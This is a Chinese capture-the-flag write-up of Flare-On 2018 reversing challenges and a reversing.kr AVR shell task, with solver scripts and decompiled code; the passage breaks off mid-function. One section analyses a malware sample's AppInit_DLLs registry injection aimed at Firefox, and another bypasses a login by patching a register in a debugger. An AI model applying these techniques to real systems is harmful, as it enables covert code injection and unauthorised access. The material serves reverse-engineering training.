0%

Flare On 2018 Writeup [1-6]

加班之余抽空练练手,lowkey要带我玩flare-on, 趁机正好看看以前的题目,直接官网上就能下载到所有以前的题目。有些题写的比较多,放一起太长了,拆成两份笔记来做。

MinesweeperChampionshipRegistration.jar

一个java文件,直接上jd-gui,打开一看

GoldenTicket2018@flare-on.com

UltimateMinesweeper.exe

一个.net的文件,直接上dnspy,核心就是MainForm这个表单,基本逻辑实现了一个只能点击一次的扫雷程序,很容易可以看到里面有个getkey函数

private string GetKey(List<uint> revealedCells)
&#123;
    revealedCells.Sort();
    Random random = new Random(Convert.ToInt32(revealedCells[0] << 20 | revealedCells[1] << 10 | revealedCells[2]));
    byte[] array = new byte[32];
    byte[] array2 = new byte[]
    &#123;
        245,
        75,
        65,
        142,
        68,
        71,
        100,
        185,
        74,
        127,
        62,
        130,
        231,
        129,
        254,
        243,
        28,
        58,
        103,
        179,
        60,
        91,
        195,
        215,
        102,
        145,
        154,
        27,
        57,
        231,
        241,
        86
    &#125;;
    random.NextBytes(array);
    uint num = 0u;
    while ((ulong)num < (ulong)((long)array2.Length))
    &#123;
        byte[] expr_5B_cp_0 = array2;
        uint expr_5B_cp_1 = num;
        expr_5B_cp_0[(int)expr_5B_cp_1] = (expr_5B_cp_0[(int)expr_5B_cp_1] ^ array[(int)num]);
        num += 1u;
    &#125;
    return Encoding.ASCII.GetString(array2);
&#125;

长着一脸flag样,搜索一下看看调用

这个在构造函数里可以看到这个SquareRevealedCallback实际上是扫雷的时候点击一个方块的回调函数,然后this.RevealedCells实际上存储着row*30+column的值,然后满足一定条件后将this.RevealedCells传给之前的getkey函数,然后调用SuccessPopup展示出来。

然后我们仔细看看getkey函数,这个函数先将传入的this.RevealedCells数组进行升序排列,然后把数组的最小的三个进行一个处理

revealedCells[0] << 20 | revealedCells[1] << 10 | revealedCells[2])

然后将这个值作为随机的种子随机生成32个字节,然后和固定的array2进行异或得到结果,那就很简单了,我们爆破3个数就行了,每个数的最大值不超过30*30+30,然后在结果里面搜索flare-on.com就可以了。

这里直接复制粘贴一下,用vs将就着c#来写了,主要代码如下:

using System;
using System.IO;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace WindowsFormsApplication1
&#123;
    public partial class Form1 : Form
    &#123;
        public Form1()
        &#123;
            FileStream F = new FileStream("E:\\test.dat",
            FileMode.OpenOrCreate, FileAccess.ReadWrite);
            InitializeComponent();
            for (uint i = 1; i <= 930; i++)
            &#123;

                for (uint j = 1; j <= i; j++)
                &#123;
                    for (uint k = 1; k <= j; k++)
                    &#123;
                        string a = GetKey(k,j,i);
                        F.Write(System.Text.Encoding.Default.GetBytes(a),0,a.Length);
                    &#125;
                &#125;
                Console.WriteLine(i);
            &#125;
            F.Close();
            int c=1 + 1;
        &#125;

        private string GetKey(uint a1,uint a2,uint a3)
        &#123;
            //revealedCells.Sort();
            //Random random = new Random(Convert.ToInt32(revealedCells[0] << 20 | revealedCells[1] << 10 | revealedCells[2]));
            Random random = new Random(Convert.ToInt32(a1 << 20 | a2<< 10 | a3));
            byte[] array = new byte[32];
            byte[] array2 = new byte[]&#123;
                245,
                75,
                65,
                142,
                68,
                71,
                100,
                185,
                74,
                127,
                62,
                130,
                231,
                129,
                254,
                243,
                28,
                58,
                103,
                179,
                60,
                91,
                195,
                215,
                102,
                145,
                154,
                27,
                57,
                231,
                241,
                86
            &#125;;
            random.NextBytes(array);
            uint num = 0u;
            while ((ulong)num < (ulong)((long)array2.Length))
            &#123;
                byte[] expr_5B_cp_0 = array2;
                uint expr_5B_cp_1 = num;
                expr_5B_cp_0[(int)expr_5B_cp_1] = (byte)(expr_5B_cp_0[(int)expr_5B_cp_1] ^ array[(int)num]);
                num += 1u;
            &#125;
            return Encoding.ASCII.GetString(array2);
        &#125;
    &#125;
&#125;

跑了两分钟得到一个4G的数据文件,grep一下拿到flag

FLEGGO

打开文件夹拿到一堆exe有点小懵逼,先随便搞一个来分析一下,核心代码:

看到第一个主要函数就是sub_401240,跟进看一下:

第一个wcscmp无关痛痒,主要第二个wcscmp,看看这个resource的值来源:

可以看到resource的值来源于一个名叫BRICK的资源,

大小正好0x8150,之后的对比发现各个文件之间的主要不同也在这个资源上。

那回到之前的对比,wcscmp会一直对比到\x00停止,以该样本1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe为例,就是把从开头到\x00开始的值转为可显字符就是ZImIT7DyCMOeF6,所以密码就是这个。

然后发现生成了一个png,并打印了个w字母

那我们写个脚本批量跑一下:

from subprocess import *
import os
import re
dir = "E:\\FLEGGO"
dirs = os.listdir(dir)
for i in dirs:
    if '.exe' not in i:
        continue
    file=os.path.join(dir,i)
    data=open(file,'rb').read()[0x2ab0:0x2ab0+0x100]
    a=data[0:data.index('\x00\x00')].replace('\x00','')
    p = Popen( [file], stdin=PIPE, stdout=PIPE )
    p.stdin.write(a+'\n')
    result=p.stdout.read()
    r=re.findall('(.*? => .)',result)[0]
    print i,r

结果如下:

这每个exe得到的字母有点像乱序的flag。然后发现每个图片左上角有一个序号,例如1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe得到的图片左上角为7,字母为w,意味着w在flag的第7位。

排序之后即可得到flag:mor3_awes0m3_th4n_an_awes0me_p0ssum@flare-on.com

binstall.exe

从这个题开始正式进入恶意软件的分析,拿到一个exe,然后看到是个.net,同样用dnspy打开:

被混淆过的代码基本不可读,用de4net解完混淆之后还是可读性很差。

先分析看看程序行为把,跑起来Process Monitor,然后监控到很多文件和注册表操作,然后开始寻找其中的可疑点:

在拉的时候看到了可疑点,这里修改了注册表项AppInit_DLLsLoadAppInit_DLLsRequireSignedAppInit_DLLs,这三个注册表项是win7进行DLL注入的关键表项,
设置恰当的值,就能达到凡是导入了user32.dll的程序都会主动加载AppInit_DLLs键值下的模块

  • LoadAppInit_DLLs: 为0时禁止AppInit_DLLs,为1时允许
  • AppInit_DLLs: 一个DLL文件的完整路径
  • RequireSignedAppInit_DLLs: 为0时加载任意dll文件,为1时只加载经过签名的dll文件。

那运行过恶意程序之后,打开注册表一看:
这三个值如下:

发现被注入了一个dll,直接去路径下寻找这个dll文件:

然后打开IDA,简单分析之后DllEntryPoint->sub_1000B2ED->sub_100027D0,
看到关键函数:

signed int __stdcall sub_100027D0(int a1, int a2, int a3)
&#123;
  CHAR Filename; // [esp+0h] [ebp-11Ch]
  const char *v5; // [esp+104h] [ebp-18h]
  int v6; // [esp+108h] [ebp-14h]
  int v7; // [esp+10Ch] [ebp-10h]
  int v8; // [esp+110h] [ebp-Ch]
  const char *v9; // [esp+114h] [ebp-8h]

  v7 = a2;
  if ( a2 == 1 )
  &#123;
    GetModuleFileNameA(0, &Filename, 0x104u);
    v8 = sub_10002640((int)&Filename, 0x5C) + 1;
    sub_100026C0(v8);
    v9 = (const char *)v8;
    v6 = v8 + 1;
    v9 += strlen(v9);
    v5 = &(++v9)[-v8 - 1];
    if ( crc32(v8, (unsigned int)&v9[-v8 - 1]) == 0x4932B10F && sub_10002710(&Filename) == 1 )
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);
  &#125;
  return 1;

首先获取当前进程直到.exe的绝对路径,然后在进sub_10002640进行处理,进sub_10002640->sub_1000BE60

  if ( (unsigned int)dword_10021C8C < 1 )
  &#123;
    v25 = a1;
    v26 = -1;
    do
    &#123;
      if ( !v26 )
        break;
      v19 = LOBYTE(v25->m128i_i32[0]) == 0;
      v25 = (__m128i *)((char *)v25 + 1);
      --v26;
    &#125;
    while ( !v19 );
    v27 = -(v26 + 1);
    v28 = &v25[-1].m128i_i8[15];
    do
    &#123;
      if ( !v27 )
        break;
      v19 = *v28-- == a2;
      --v27;
    &#125;
    while ( !v19 );
    v29 = v28 + 1;
    if ( *v29 == a2 )
      result = (int)v29;
    else
      result = 0;
  &#125;

分析之后发现循环找到最后一个a2出现的位置,a2是固定参数0x5c,换成字符就是\,也就是sub_1000BE60把程序文件名从绝对路径中取出来,然后再进入sub_100026C0

int __cdecl sub_100026C0(int a1)
&#123;
  int result; // eax
  int i; // [esp+0h] [ebp-4h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
  &#123;
    *(_BYTE *)(i + a1) = sub_10010F8F(*(char *)(i + a1));
    result = i + 1;
  &#125;
  return result;
&#125;

这里逐位调用了sub_10010F8F,而sub_10010F8F函数的功能就是把大写转小写。
然后接着回到sub_100027D0,接下来就是关键判断,判断成功之后就会创建一个新的线程:

if ( sub_10002660(v8, (unsigned int)&v9[-v8 - 1]) == 0x4932B10F && sub_10002710(&Filename) == 1 )
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);

sub_10002660就是对之前取出的文件名进行一个crc32的计算,然后判断是否等于0x4932B10F,根据多方提示,写个代码尝试一下chrome.exe,explorer.exe,firefox.exe,最后尝试出是firefox.exe:

#include<stdio.h>
#include<string.h>

int main()&#123;
    char *a1="firefox.exe";
    int a2=strlen(a1);
    unsigned int v4 = 0x5B4FFA86;
    for ( int i = 0; i < a2; ++i )&#123;
        v4 = (*(char *)(i + a1) - 0x12477CE0) ^ (v4 >> 1);
    &#125;
    printf("0x%08x\n", ~v4); 
    return ~v4;
&#125;

也就是判断当前进程是否是firefox.exe,并且sub_10002710对firefox的版本进行了判断要小于55。
然后我们进入到这个新的线程函数进行分析,进到关键函数sub_10006E10

void sub_10006E10()
&#123;
  DWORD pcbBinary; // [esp+0h] [ebp-10h]
  LPCSTR pszString; // [esp+4h] [ebp-Ch]
  BYTE *v2; // [esp+8h] [ebp-8h]
  BYTE *v3; // [esp+Ch] [ebp-4h]

  if ( !dword_10022650 )
  &#123;
    v2 = sub_10004360();
    while ( !dword_10022650 )
    &#123;
      pszString = (LPCSTR)sub_100028A0((LPCSTR)v2 + 4, (LPCSTR)v2 + 260);
      if ( pszString )
      &#123;
        .....
        .....
        .....
      &#125;
    &#125;
  &#125;
&#125;

函数看着比较复杂,不过可以先简单分析,这里看到首先从sub_10004360函数获取了一个字符串,然后传递给sub_100028A0,在sub_100028A0利用v2发起了http请求:

所以我们回头来分析这个sub_10004360产生的字符串内容,但是突然一想,为啥不直接调呢。。。。
下了个firefox54,跑起来:

看到了这个链接,拼起来pastebin.com/raw/hvaru8N,访问一下。。emm失效了,
GG
这道题只能这样了。后面还有解密,不过如果链接有效的话,动态调跟进去应该就可以拿到原文。

看看官方wp,其中提到的NoFuserEx,对de4net解混淆后的程序再用NoFuserEx再解混淆一次,发现很多字符串直接还原出来了。

截了几个图:

总之可读性很高,新工具+1……

这道题就先到这里把

web2point0

一道wasm的逆向题,最近的CTF比赛也好像都喜欢出这个。
之前都是直接放进ida里面用idawasm搞,搞出来的汇编其实还是蛮多的,很多无用的取值赋值操作,昨儿查资料学到了一种新的方法。
当然还是用wabt工具包

第一步先是反编译:

./wasm2c test.wasm -o test.c

其实这个.c就能看了不过会耗费稍多一点时间,然后同样将wabt工具包里面wasm2c文件夹下wasm-rt.hwasm-rt-impl.cwasm-rt-impl.h三个文件放到和test.c同一个文件,
然后编译,这里就不需要链接了,因为链接肯定通不过了,所以我们只需要得到未链接的
文件即可:

gcc -c test.c -o test.o

然后把test.o拖到ida里面F5,就会出现可读性比较高的代码了。

这个题整体还是比较简单的:

a固定,b为用户输入,把a,b,len(a),len(b)传入test.wasmMatch函数,看看这个函数:

核心就是调用f9函数,然后检验返回值和传入的v4地址上的值
然后进f9,看似很长,其实核心就是这个:

根据当前ai的值与0xf异或,然后去栈的1024开始的地方取对应的值x

然后调用16*x+T0+8

所以逻辑理一下就是:

ai & 0xf==0: call f2
ai & 0xf==1: call f3
ai & 0xf==2: call f4
ai & 0xf==3: call f5
ai & 0xf==4: call f6
ai & 0xf==5: call f7
ai & 0xf==6: call f8

然后再看这每个函数的作用,发现就是很简单的数值运算,最后代码如下:

a=[0xE4, 0x47, 0x30, 0x10, 0x61, 0x24, 0x52, 0x21, 0x86, 0x40, 0xAD, 0xC1, 0xA0, 0xB4, 0x50, 0x22, 0xD0, 0x75, 0x32, 0x48, 0x24, 0x86, 0xE3, 0x48, 0xA1, 0x85, 0x36, 0x6D, 0xCC, 0x33, 0x7B, 0x6E, 0x93, 0x7F, 0x73, 0x61, 0xA0, 0xF6, 0x86, 0xEA, 0x55, 0x48, 0x2A, 0xB3, 0xFF, 0x6F, 0x91, 0x90, 0xA1, 0x93, 0x70, 0x7A, 0x06, 0x2A, 0x6A, 0x66, 0x64, 0xCA, 0x94, 0x20, 0x4C, 0x10, 0x61, 0x53, 0x77, 0x72, 0x42, 0xE9, 0x8C, 0x30, 0x2D, 0xF3, 0x6F, 0x6F, 0xB1, 0x91, 0x65, 0x24, 0x0A, 0x14, 0x21, 0x42, 0xA3, 0xEF, 0x6F, 0x55, 0x97, 0xD6]
b=[]

i=0
while i<len(a):
    if a[i]&0xf==0: #f2
        b.append(a[i+1]&0xff) 
        i+=1
    elif a[i]&0xf==1: #f3
        b.append(~(a[i+1])&0xff)
        i+=1
    elif a[i]&0xf==2: #f4
        b.append((a[i+1]^a[i+2])&0xff)
        i+=2
    elif a[i]&0xf==3: #f5
        b.append((a[i+1]&a[i+2])&0xff)
        i+=2
    elif a[i]&0xf==4: #f6
        b.append((a[i+1]|a[i+2])&0xff)
        i+=2
    elif a[i]&0xf==5: #f7
        b.append((a[i+1]+a[i+2])&0xff)
        i+=2
    elif a[i]&0xf==6: #f8
        b.append((a[i+2]-a[i+1])&0xff)
        i+=2
    else:
        pass
    i+=1

print("".join(chr(j) for j in b))

然后得到flag:

magic

拿到文件,拖进ida看看,

从输入开始看吧,大概逻辑很清晰,首先是如变量v13开始定义了69字节的数据,然后总共输入666次,将69字节的数据和我们的输入逐字节异或666次之后,得到最终答案。也就是我们得想办法求出我们输入的总共666次的数据分别是啥,然后异或就能得到结果。

获取了我们的输入之后进入了sub_402dcf函数(check函数),

这个函数本质上是一个动态解密加调用,在内存0x605100开始的0x120*33大小的内存空间中存储了330x120大小的块,每一个块是一个结构体,每一个结构体能够对输入的key值中的一部分进行校验,几个关键的属性如下:

0-4   :加密函数的地址
8-12  :加密函数的长度
12-16 :该块所校验的输入值中的起始位置
16-20 :该块所校验的输入值的长度
24-28 :异或数据的地址
32-   :函数的参数

check函数的流程就是将加密函数和异或数据进行异或得到可执行的解密函数,然后将函数参数传入进行执行,函数则会对用户输入的key值中的一部分进行校验,

换言之,从0x605100开始的33个块,每一个块对应一个校验函数,可以求出一部分输入的key值.

为了能更好的看函数体,我们先把它解密了:


data_offset = 0x605100-0x604e10+0x4e10

def decrypto():
    f=open("./magic",'rb')
    content=list(f.read())
    f.close()
    for i in range(0x21):
        cur_block=b"".join(i.to_bytes(1,"little") for i in content[data_offset+i*0x120:data_offset+(i+1)*0x120])
        func,=unpack("<I",cur_block[0:4])
        length,=unpack("<I",cur_block[8:12])
        xor_data_addr,=unpack("<I",cur_block[24:28])
        for i in range(length):
            xor_data_offset=xor_data_addr-0x604e10+0x4e10
            content[func-0x400000+i]=(content[func-0x400000+i]^content[xor_data_offset+i])
    f=open('./magic_de_1','wb')
    f.write(b"".join(i.to_bytes(1,"little") for i in content))
    f.close()

然后拖进ida里面,调用python script:

# -*- coding: utf-8 -*-
import idc
func=[
0x400c55 ,
0x401e1d ,
0x40166e ,
0x400e20 ,
0x4027a7 ,
0x4025e4 ,
0x402064 ,
0x401a34 ,
0x40111e ,
0x40272b ,
0x401498 ,
0x401cd6 ,
0x402555 ,
0x40179d ,
0x401721 ,
0x402c14 ,
0x401c5a ,
0x401f64 ,
0x400bc6 ,
0x40119a ,
0x401bd6 ,
0x401821 ,
0x4021ab ,
0x401b47 ,
0x4019b8 ,
0x401fe8 ,
0x400d9c ,
0x4024d1 ,
0x402acd ,
0x4018a5 ,
0x401527 ,
0x401929 ,
0x401ac3 ,
]
for i in func:
    idc.MakeFunction(i)

然后就能反编译出c语言看了,然后就是挨个看这33个函数。。。。。。

最后看完下来发现其实33个函数其实就是7个函数的循环调用,包括一些简单的异或、crc32、斐波那契数列等7个函数。用python实现如下:

def func1(ans,length): 
    res=[]
    for i in ans:
        res.append(i-13)
    return res

def func2(ans,length):
    length = len(ans)
    tmp=[]
    for i in range(0,length,8):
        if i+8<length:
            tmp.append(int.from_bytes(ans[i:i+8],'little'))
        else:
            tmp.append(int.from_bytes(ans[i:length],'little'))
    ans=tmp
    print(ans)
    res=[]
    for i in ans:
        v6 = 0
        v5 = 1
        v4 = 0
        cnt = 0
        while 1:
            v6 = (v4+v5)&0xffffffffffffffff
            v4 = v5
            v5 = v6
            cnt+=1
            #print(hex(v6),hex(i))
            if v6==i:
                res.append(cnt)
                break
    return res

def func3(ans,length):
    res=[]
    for i in ans:
        res.append(i^0x2a)
    return res

def func4(ans,length):
    
    res=[]
    v4 = binascii.a2b_hex('2074756220736954')[::-1]
    v4+=binascii.a2b_hex('6374617263732061')[::-1]
    v4+=binascii.a2b_hex('2e68')[::-1]
    v8=[]
    for i in range(0x100):
        v8.append(i)
    v11=0
    v12=0
    v13=0
    for i in range(0x100):
        v13 =(v13+(v8[i] + v4[i%18]))&0xff
        v8[i] ^= v8[v13]
        v8[v13] ^= v8[i]
        v8[i] ^= v8[v13]
    
    for i in range(len(ans)):
        v12+=1
        v11 = (v11+v8[v12])&0xff
        v8[v12] ^= v8[v11]
        v8[v11] ^= v8[v12]
        v8[v12] ^= v8[v11]
        v13 = (v8[v12] + v8[v11])&0xff
        res.append(ans[i]^v8[v13])

    return res

def func5(ans,length):
    res=list(ans)
    return res

def func6(ans,length):
    ans,=unpack('I',ans)
    res=[]
    guess=[]  
    def get_guess(tmp,cur):
        if len(cur)==length:
            tmp.append(cur)
            return
        for i in range(0xff):
            get_guess(tmp,cur+i.to_bytes(1,'little'))
        return
    get_guess(guess,b"")

    for i in guess:
        if binascii.crc32(i)==ans: 
            res=list(i) 
            break
    return res

def func7(ans,length):
    data=['2346A7C2645F392A',
        '42704D2847746B53',
        '4A4038626A522549',
        '5024312D59444569',
        '6671764C21547967',
        '304F57516D68632B',
        '6C336E75345A4E65',
        '4B7A617732264837']
    v13=b""
    v23=0
    res=[]
    guess=[]
    for i in data:
        v13+=binascii.a2b_hex(i)[::-1]
    def get_guess(tmp,cur):
        if len(cur)==length:
            tmp.append(cur)
            return
        for i in range(0xff):
            get_guess(tmp,cur+i.to_bytes(1,'little'))
        return
    get_guess(guess,b"")
    for k in guess:
        flag=1
        for i in range(length):
            if flag==0:
                break
            if i%3==0:
                tmp = k[i]>>2
                if ans[i] != v13[tmp]:
                    flag=0
                v23 = (k[i]&0x3)<<8
            if i%3==1:
                tmp = (k[i]+v23)>>4
                if ans[i] != v13[tmp]:
                    flag=0
                v23=(k[i]&0xf)<<8
            if i%3==2:
                tmp = (k[i]+v23)>>6
                if ans[i] != v13[tmp]:
                    flag=0
                tmp2 = (k[i]+v23)&0x3f
                if ans[i+1] != v13[tmp2]:
                    flag=0
        if flag==1:
            return list(k)

然后映射关系如下:

func_map=&#123;
    0x400c55:func2,
    0x401e1d:func2,
    0x40166e:func6,
    0x400e20:func4,
    0x4027a7:func7,
    0x4025e4:func2,
    0x402064:func2,
    0x401a34:func1,
    0x40111e:func5,
    0x40272b:func5,
    0x401498:func1,
    0x401cd6:func2,
    0x402555:func1,
    0x40179d:func3,
    0x401721:func5,
    0x402c14:func6,
    0x401c5a:func5,
    0x401f64:func3,
    0x400bc6:func1,
    0x40119a:func4,
    0x401bd6:func3,
    0x401821:func3,
    0x4021ab:func7,
    0x401b47:func1,
    0x4019b8:func5,
    0x401fe8:func5,
    0x400d9c:func3,
    0x4024d1:func3,
    0x402acd:func2,
    0x4018a5:func3,
    0x401527:func2,
    0x401929:func1,
    0x401ac3:func3
&#125;

这样我们可以得到第一轮校验的结果:

def get_first_key():
    f=open("./magic",'rb')
    content=list(f.read())
    f.close()
    key=[0]*100
    this_turn=[]
    for i in range(0x21):
        cur_block=b"".join(i.to_bytes(1,"little") for i in content[data_offset+i*0x120:data_offset+(i+1)*0x120])
        func,=unpack("<I",cur_block[0:4])
        length,=unpack("<I",cur_block[8:12])
        xor_data_addr,=unpack("<I",cur_block[24:28])
        key_start,=unpack("<I",cur_block[12:16])
        key_len,=unpack("<I",cur_block[16:20])
        data=cur_block[32:0x120].strip(b'\x00')
        print(hex(key_start),",")
        continue
        tmp=func_map[func](data,key_len)
        print(hex(func),hex(key_start),hex(key_len),binascii.b2a_hex(data),"".join(chr(j) for j in tmp))
        this_turn.append("".join(chr(j) for j in tmp))
        for i in range(key_len):
            key[key_start+i]=tmp[i]
    print(key)
    print(this_turn)
    return this_turn

然后回到main函数,接下来由于我们输入的key校验成功了,接下来将加密的数据和我们的输入异或,之后进入sub_4037BF函数

该函数的核心就是打乱从0x605100开始的33个块的顺序,由于每个块对应一部分key值,即该函数是打乱key的顺序,并没有修改函数体本身,核心便是sub_40332D函数

分为两部分,即两个循环,第一个循环是重置每个块所决定的部分key在总体的key的位置,第二个循环则是打乱物理排列顺序,对当前的key的结果没有影响。

举个例子,第一轮我们得到的结果0x605100开始的第一个块block1的作用是校验输入的key值,从0x2开始的三个字符是不是为"ds ",那经过sub_40332D函数的第一个循环,使得这个block1的作用变成了校验输入的key值,从0x20开始的三个字符是不是为"ds ",然后经过第二个循环使得block1的位置从原来的第一个快,变成了第十个块。

这里是用的rand()函数来进行随机变换,但是在main函数中,进行了srand操作,并且seed是已知的,所以其随机数就可以预测,然后我们可以正向进行操作,生成每一轮所需要的key值,然后和加密数据异或便得到最终结果。
计算666个key值的脚本需要用c来写,因为语言不同,随机生成器也不尽相同。

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

void swap(char str[][4], int i, int j)&#123;
    char tmp[4];  
    memset(tmp,0,strlen(tmp));
    memcpy(tmp,str[i],strlen(str[i]));
    memset(str[i],0,strlen(str[i]));
    memcpy(str[i],str[j],strlen(str[j]));
    memset(str[j],0,strlen(str[j]));
    memcpy(str[j],tmp,strlen(tmp));
&#125;

void swap_key(int index[],int i,int j)&#123;
    int tmp=index[i];
    index[i]=index[j];
    index[j]=tmp;
&#125;


int main()&#123;
    unsigned int v3;
    int seed=1596020546;
    srand(seed);
    char first_turn[33][4]=&#123;"ds ","in", ".", "ng ", " ", "hot", "e ", "the", " ", " in", "g", " ", "r", "e ", " ", "ace", "lik", "e", "in", "ll", "no", " H", " yo", "ur", "of", "f", "is", " bl", "ow", "thi", " w", "the", "Ah,"&#125;;
    int start_in_key[33]=&#123;0x2 , 0x2c , 0x10 , 0x7 , 0x3f , 0x39 , 0x30 , 0x1e , 0xa , 0x3c , 0xd , 0x2b , 0x38 , 0x12 , 0x11 , 0x42 , 0x28 , 0x2e , 0x0 , 0xb , 0x26 , 0x14 , 0x32 , 0x24 , 0x1c , 0x2f , 0x5 , 0x35 , 0x40 , 0x16 , 0xe , 0x19 , 0x21 &#125;;
    for(int k=0;k<0x29a-1;k++)&#123;
        int key_pos=0;
        for(int i=0;i<0x21;i++)&#123;
            v3 = i + rand() % (33 - i);
            int tmp = (rand() % (0x10002 - (0x120LL * v3 + 8))) + 0x607620;
            swap(first_turn,i,v3);
            start_in_key[i]=key_pos;
            key_pos+=strlen(first_turn[i]);
        &#125;
        printf("\"");
        for(int i=0;i<0x21;i++)&#123;
            printf("%s",first_turn[i],start_in_key[i]);
        &#125;
        printf("\",\n");
        for ( int i = 0; i< 0x21uLL; ++i )&#123;
            int v4 = i + rand() % (33 - i);
            swap(first_turn,i,v4);
            swap_key(start_in_key,i,v4);
            
        &#125;
        
        // for(int i=0;i<0x21;i++)&#123;
        //    printf("%s %d\n",first_turn[i],start_in_key[i]);
        // &#125;
        
    &#125;
    return 0;
&#125;

通过这个程序就能计算出666个key值,然后挨个和加密数据异或便得到最终的结果
完整的python脚本在这里:go.py

得到结果:

mag!iC_mUshr00ms_maY_h4ve_g!ven_uS_Santa_ClaUs@flare-on.com

CustomShell

终于是把这个reversing.kr做完了。。。。

➜  file CustomShell 
CustomShell: ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, stripped

AVR架构的单片机程序,去除了符号表

在做题之前先记录一下环境搭建的过程:

两者安装好了之后,运行AVR Studio,直接open我们的CustomShell,然后如下

这里选择AVR Simulator平台,关于设备的选择,首先我们的程序是8位的,所以查阅资料之后选择ATmega128设备,是ATMEL公司的8位系列单片机的最高配置的一款单片机。
大概这样的界面:

然后打开hapsimFile - New Control - Terminal,打开一个新的终端,随后Options - Terminal Settings,勾选Local Echo,然后就可以选择串口,尝试了一下之后,发现程序从USART1输出,这里可以看出需要输入一个用户名和一个密码:

然后需要定位到登录验证的地方,我们先单步简单跟一下,单步到第一个循环:

利用Run to Cursor跳出循环,然后进入到第二个循环:

同理利用Run to Cursor跳出循环,进而执行地址0x61处的一个跳转指令RCALL,该指令跳转到了地址为0x7E5处的子函数sub_7E5执行,然后依次sub_729-sub_6EC

可以看到sub_729中连续调用两次sub_6EC,猜测是用来分别获取用户名和密码的输入,经过调试确实是的,而且其中的两个sub_89A则是打印loginpassword字符串的,
再往下看:

很自然就会想到这个sub_920是一个验证函数,

这里的ld r24,X+以及ld r0,Z+明显的查表操作,调试跟进一下

即是读取我们的输入,然后和0x659地址进行对比,

所以用户名就是revkr12,然后密码,跟进之后发现有点复杂,尤其是在sub_729中调用了sub_20C对输入的密码进行了一大堆操作:

具体sub_20C就不截图了。

这样有点麻烦,重新整理一下思路,我们回到最开始的sub_7E5函数中调用sub_729的地方:

看到调用完了sub_729之后就进行了一个判断,r24-1是否等于0,调试的时候发现r24其实等于0(因为密码输错了),所以我们先不管密码怎么处理的,我们直接下断点,然后手动修改r24=1

然后运行:

登陆成功!

然后简单操作之后发现读出的文件都是乱码,应该是存在某种加密方式,另外在尝试读tmp目录下的readme的时候报错了:

就这个文件说不存在,那我们跟一下看看到底是怎么回事。

单步跟进之后定位到了一个关键函数sub_6EC,它调用了sub_6F8,单步跟进之后了解到sub_6EC的作用就是获取我们输入的命令。

继续往下看:

之前说了sub_920是验证函数,所以这里对我们的输入进行验证,截图这一段函数就是遍历几个命令和我们输入的命令进行对比,

一旦匹配之后,便跳转到loc_860,然后在地址0x871处进行了一个icall间接寻址到寄存器Z所指向的地址,以cat为例,cat最后跳转到了0x1b5

然后调到0x4e5,在这里从0x4f9-0x516进行了cat要读取的文件名的对比:

这个时候在内存中才看到猫腻为啥读不了readme

readme后面有个空格\x20,但是重新尝试之后发现即使输了空格也不行,那就只能修改内存了,把这个\x20改成\x00,发现可以成功读取readme

但是是乱码,跟进之后知道打印的是地址0x582处的字符串,readme的内容为:

但是一路跟下来没发现加密之类的地方,在ida中看到静态也是同样的值:

然后猛然想起来为啥要研究这个readme为啥读不了…..再回到shell,又研究了一番发现其中没有什么有用的信息,所以再整理一下,应该还是需要破解密码。

然后焦点又回到了最开始跳过的sub_20c….

这个函数分成三个部分,关键地址:0xAD2-0XADB,10位由8位的用户输入生成,也是变换之后的最终值存储的地方,
第一部分0x23B-0X302,循环8次,将8位的输入变成10位值,具体算法变成python如下:

def round1(i):
    #print([hex(i) for i in data_ad2])
    global r4
    r12=i<<2
    r12=r12&0xff
    #if i==1:import ipdb;ipdb.set_trace()
    last_round_ad2=data_ad2.copy()
    data_ad2[0]=data_100[0+r4]^last_round_ad2[2]
    r24=data_ae4[i]&0x05

    data_ad2[1]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[4]    
    r24=data_ae4[i]&0x0a
    r24=lsr(r24)

    data_ad2[2]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[7]
    r24=data_ae4[i]&0x50
    r24=swap(r24)

    data_ad2[3]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[3]
    r24=data_ae4[i]&0xa0
    r24=swap(r24)
    r24=lsr(r24)

    data_ad2[4]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[1]
    r24=data_ae4[i]&0x05

    data_ad2[5]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[5]
    r24=data_ae4[i]&0x0a
    r24=lsr(r24)

    data_ad2[6]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[6]
    r24=data_ae4[i]&0x50
    r24=swap(r24)

    data_ad2[7]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[2]
    r24=data_ae4[i]&0xa0
    r24=swap(r24)
    r24=lsr(r24)

    data_ad2[8]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[8]
    r24=data_ae4[i]&0x05

    data_ad2[9]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[3]
    r4+=4

这部分代码比较简单很容易看懂,看懂之后直接回复就行。

第二大部分,0X304-0X3D2,这部分和上一部分类似甚至比上一部分简单,代码如下:

def round2(i):
    #print([hex(i) for i in data_ad2])
    r12=i<<2
    r12=r12&0xff
    #if i==0:import ipdb;ipdb.set_trace()

    last_round_ad2=data_ad2.copy()

    r24=data_ae4[i]&0x42

    data_ad2[0]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[0]
    r24=data_ae4[i]&0x81

    data_ad2[1]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[4]
    r24=data_ae4[i]&0x42

    data_ad2[2]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[1]
    r24=data_ae4[i]&0x24
    
    data_ad2[3]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[8]
    r24=data_ae4[i]&0x18

    data_ad2[4]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[2]
    r24=data_ae4[i]&0x81

    data_ad2[5]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[5]
    r24=data_ae4[i]&0x42

